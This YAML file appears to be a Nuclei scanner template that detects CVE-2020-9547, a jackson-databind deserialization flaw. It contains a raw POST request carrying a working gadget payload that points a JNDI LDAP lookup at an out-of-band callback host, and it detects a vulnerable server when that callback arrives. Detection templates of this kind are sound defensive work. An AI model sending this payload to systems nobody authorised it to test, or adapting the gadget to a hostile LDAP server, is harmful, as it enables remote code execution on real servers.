id: CVE-2020-9547

info:
  name: FasterXML jackson-databind - Deserialization Remote Code Execution
  author: pranjalnegi
  severity: critical
  description: |
    FasterXML jackson-databind 2.x before 2.9.10.4 mishandles the interaction between serialization gadgets and typing, related to com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig (aka ibatis-sqlmap). This vulnerability allows attackers to execute arbitrary code through deserialization of untrusted data when polymorphic type handling (@JsonTypeInfo with use=JsonTypeInfo.Id.CLASS) is enabled.
  impact: |
    Successful exploitation could allow an attacker to execute arbitrary code on the affected system through deserialization of malicious JSON payloads.
  remediation: |
    Update FasterXML jackson-databind to version 2.9.10.4 or later. Alternatively, disable polymorphic type handling or implement proper input validation and deserialization controls.
  reference:
    - https://github.com/fairyming/CVE-2020-9547
    - https://github.com/FasterXML/jackson-databind/issues/2620
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9547
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-9547
    cwe-id: CWE-502
    epss-score: 0.38262
    epss-percentile: 0.97291
    cpe: cpe:2.3:a:fasterxml:jackson-databind:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: fasterxml
    product: jackson-databind
    verified: true
  tags: cve,cve2020,jackson,databind,deserialization,rce,vkev,vuln

variables:
  randstr: "{{rand_text_alphanumeric(8)}}"
  payload_jndi_ldap: "ldap://{{interactsh-url}}/{{randstr}}"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        ["com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",{"properties":["java.util.Properties",{"UserTransaction":"{{payload_jndi_ldap}}"}]}]

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol, 'dns')"
          - "contains_any(content_type, 'application/json', 'text/plain')"
          - "status_code == 200 || status_code == 400 || status_code == 500"
        condition: and

      - type: word
        part: body
        words:
          - "JsonMappingException"
          - "InvalidTypeIdException"
          - "JdbcRowSetImpl"
          - "com.fasterxml.jackson.databind"
          - "javax.naming.NamingException"
        condition: or
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